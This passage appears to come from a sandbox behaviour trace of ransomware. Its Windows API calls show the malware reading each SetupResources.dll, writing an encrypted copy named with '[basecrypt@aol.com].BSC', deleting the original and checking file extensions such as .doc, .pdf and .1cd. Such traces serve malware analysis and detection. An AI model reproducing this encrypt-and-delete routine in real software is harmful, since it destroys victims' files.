lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x3758, lpOverlapped=0x0) returned 1 [0101.676] WriteFile (in: hFile=0x344, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x3760, lpOverlapped=0x0) returned 1 [0101.678] ReadFile (in: hFile=0x328, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.678] WriteFile (in: hFile=0x344, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xf8, lpOverlapped=0x0) returned 1 [0101.678] SetEndOfFile (hFile=0x344) returned 1 [0101.678] CloseHandle (hObject=0x344) returned 1 [0101.679] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.679] SetEndOfFile (hFile=0x328) returned 1 [0101.680] CloseHandle (hObject=0x328) returned 1 [0101.681] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0101.681] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0101.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.681] lstrlenW (lpString=".doc") returned 4 [0101.682] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.682] lstrlenW (lpString=".docx") returned 5 [0101.682] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.682] lstrlenW (lpString=".pdf") returned 4 [0101.682] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.682] lstrlenW (lpString=".xls") returned 4 [0101.682] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.682] lstrlenW (lpString=".xlsx") returned 5 [0101.682] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.682] lstrlenW (lpString=".ppt") returned 4 [0101.682] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.682] lstrlenW (lpString=".zip") returned 4 [0101.682] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.682] lstrlenW (lpString=".rar") returned 4 [0101.682] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.682] lstrlenW (lpString=".bz2") returned 4 [0101.682] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.682] lstrlenW (lpString=".7z") returned 3 [0101.682] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.682] lstrlenW (lpString=".dbf") returned 4 [0101.682] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.682] lstrlenW (lpString=".1cd") returned 4 [0101.682] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.683] lstrlenW (lpString=".jpg") returned 4 [0101.683] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.683] lstrlenW (lpString=".doc") returned 4 [0101.683] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.683] lstrlenW (lpString=".docx") returned 5 [0101.683] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.683] lstrlenW (lpString=".pdf") returned 4 [0101.683] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.683] lstrlenW (lpString=".xls") returned 4 [0101.683] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.683] lstrlenW (lpString=".xlsx") returned 5 [0101.683] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.683] lstrlenW (lpString=".ppt") returned 4 [0101.683] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.683] lstrlenW (lpString=".zip") returned 4 [0101.683] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.683] lstrlenW (lpString=".rar") returned 4 [0101.683] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.683] lstrlenW (lpString=".bz2") returned 4 [0101.683] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.684] lstrlenW (lpString=".7z") returned 3 [0101.684] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.684] lstrlenW (lpString=".dbf") returned 4 [0101.684] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.684] lstrlenW (lpString=".1cd") returned 4 [0101.684] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0101.684] lstrlenW (lpString=".jpg") returned 4 [0101.684] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.684] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0101.684] lstrlenW (lpString="SetupResources.dll") returned 18 [0101.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.690] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=18776) returned 1 [0101.691] CloseHandle (hObject=0x34c) returned 1 [0101.691] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0101.691] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.691] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.691] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.691] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.691] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.400] GetLastError () returned 0x0 [0102.400] ReadFile (in: hFile=0x34c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x4958, lpOverlapped=0x0) returned 1 [0102.434] WriteFile (in: hFile=0x30c, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x4960, lpOverlapped=0x0) returned 1 [0102.436] ReadFile (in: hFile=0x34c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.436] WriteFile (in: hFile=0x30c, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.436] SetEndOfFile (hFile=0x30c) returned 1 [0102.436] CloseHandle (hObject=0x30c) returned 1 [0102.440] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.440] SetEndOfFile (hFile=0x34c) returned 1 [0102.441] CloseHandle (hObject=0x34c) returned 1 [0102.442] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.442] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0102.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.442] lstrlenW (lpString=".doc") returned 4 [0102.442] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.442] lstrlenW (lpString=".docx") returned 5 [0102.443] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.443] lstrlenW (lpString=".pdf") returned 4 [0102.443] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.443] lstrlenW (lpString=".xls") returned 4 [0102.443] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.443] lstrlenW (lpString=".xlsx") returned 5 [0102.443] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.443] lstrlenW (lpString=".ppt") returned 4 [0102.443] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.443] lstrlenW (lpString=".zip") returned 4 [0102.443] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.443] lstrlenW (lpString=".rar") returned 4 [0102.443] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.443] lstrlenW (lpString=".bz2") returned 4 [0102.443] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.443] lstrlenW (lpString=".7z") returned 3 [0102.443] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.443] lstrlenW (lpString=".dbf") returned 4 [0102.443] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.443] lstrlenW (lpString=".1cd") returned 4 [0102.443] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.443] lstrlenW (lpString=".jpg") returned 4 [0102.444] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.444] lstrlenW (lpString=".doc") returned 4 [0102.444] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.444] lstrlenW (lpString=".docx") returned 5 [0102.444] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.444] lstrlenW (lpString=".pdf") returned 4 [0102.444] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.444] lstrlenW (lpString=".xls") returned 4 [0102.444] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.444] lstrlenW (lpString=".xlsx") returned 5 [0102.444] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.444] lstrlenW (lpString=".ppt") returned 4 [0102.444] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.444] lstrlenW (lpString=".zip") returned 4 [0102.444] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.444] lstrlenW (lpString=".rar") returned 4 [0102.444] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.444] lstrlenW (lpString=".bz2") returned 4 [0102.444] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.444] lstrlenW (lpString=".7z") returned 3 [0102.444] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.445] lstrlenW (lpString=".dbf") returned 4 [0102.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.445] lstrlenW (lpString=".1cd") returned 4 [0102.445] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0102.445] lstrlenW (lpString=".jpg") returned 4 [0102.445] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.445] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.445] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.445] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.462] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=18776) returned 1 [0102.462] CloseHandle (hObject=0x30c) returned 1 [0102.462] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0102.462] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.462] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.462] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.462] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.462] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0102.476] GetLastError () returned 0x0 [0102.476] ReadFile (in: hFile=0x30c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x4958, lpOverlapped=0x0) returned 1 [0102.517] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x4960, lpOverlapped=0x0) returned 1 [0102.519] ReadFile (in: hFile=0x30c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.519] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.519] SetEndOfFile (hFile=0x2e0) returned 1 [0102.519] CloseHandle (hObject=0x2e0) returned 1 [0102.521] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.521] SetEndOfFile (hFile=0x30c) returned 1 [0102.522] CloseHandle (hObject=0x30c) returned 1 [0102.522] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.523] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0102.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.523] lstrlenW (lpString=".doc") returned 4 [0102.523] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.523] lstrlenW (lpString=".docx") returned 5 [0102.523] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.523] lstrlenW (lpString=".pdf") returned 4 [0102.523] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.523] lstrlenW (lpString=".xls") returned 4 [0102.523] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.523] lstrlenW (lpString=".xlsx") returned 5 [0102.523] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.523] lstrlenW (lpString=".ppt") returned 4 [0102.524] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.524] lstrlenW (lpString=".zip") returned 4 [0102.524] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.524] lstrlenW (lpString=".rar") returned 4 [0102.524] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.524] lstrlenW (lpString=".bz2") returned 4 [0102.524] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.524] lstrlenW (lpString=".7z") returned 3 [0102.524] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.524] lstrlenW (lpString=".dbf") returned 4 [0102.524] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.524] lstrlenW (lpString=".1cd") returned 4 [0102.524] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.524] lstrlenW (lpString=".jpg") returned 4 [0102.524] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.524] lstrlenW (lpString=".doc") returned 4 [0102.524] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.524] lstrlenW (lpString=".docx") returned 5 [0102.524] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.524] lstrlenW (lpString=".pdf") returned 4 [0102.524] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.525] lstrlenW (lpString=".xls") returned 4 [0102.525] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.525] lstrlenW (lpString=".xlsx") returned 5 [0102.525] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.525] lstrlenW (lpString=".ppt") returned 4 [0102.525] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.525] lstrlenW (lpString=".zip") returned 4 [0102.525] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.525] lstrlenW (lpString=".rar") returned 4 [0102.525] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.525] lstrlenW (lpString=".bz2") returned 4 [0102.525] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.525] lstrlenW (lpString=".7z") returned 3 [0102.525] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.525] lstrlenW (lpString=".dbf") returned 4 [0102.525] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.525] lstrlenW (lpString=".1cd") returned 4 [0102.525] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0102.525] lstrlenW (lpString=".jpg") returned 4 [0102.525] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.526] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.526] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.526] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.526] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=15704) returned 1 [0102.526] CloseHandle (hObject=0x30c) returned 1 [0102.526] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0102.526] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.526] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.526] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.526] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.527] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0102.545] GetLastError () returned 0x0 [0102.545] ReadFile (in: hFile=0x30c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x3d58, lpOverlapped=0x0) returned 1 [0102.590] WriteFile (in: hFile=0x34c, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x3d60, lpOverlapped=0x0) returned 1 [0102.591] ReadFile (in: hFile=0x30c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.591] WriteFile (in: hFile=0x34c, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.591] SetEndOfFile (hFile=0x34c) returned 1 [0102.592] CloseHandle (hObject=0x34c) returned 1 [0102.592] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.593] SetEndOfFile (hFile=0x30c) returned 1 [0102.593] CloseHandle (hObject=0x30c) returned 1 [0102.594] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.594] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0102.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.594] lstrlenW (lpString=".doc") returned 4 [0102.594] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.594] lstrlenW (lpString=".docx") returned 5 [0102.594] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.594] lstrlenW (lpString=".pdf") returned 4 [0102.594] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.594] lstrlenW (lpString=".xls") returned 4 [0102.594] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.595] lstrlenW (lpString=".xlsx") returned 5 [0102.595] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.595] lstrlenW (lpString=".ppt") returned 4 [0102.595] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.595] lstrlenW (lpString=".zip") returned 4 [0102.595] lstrcmpiW 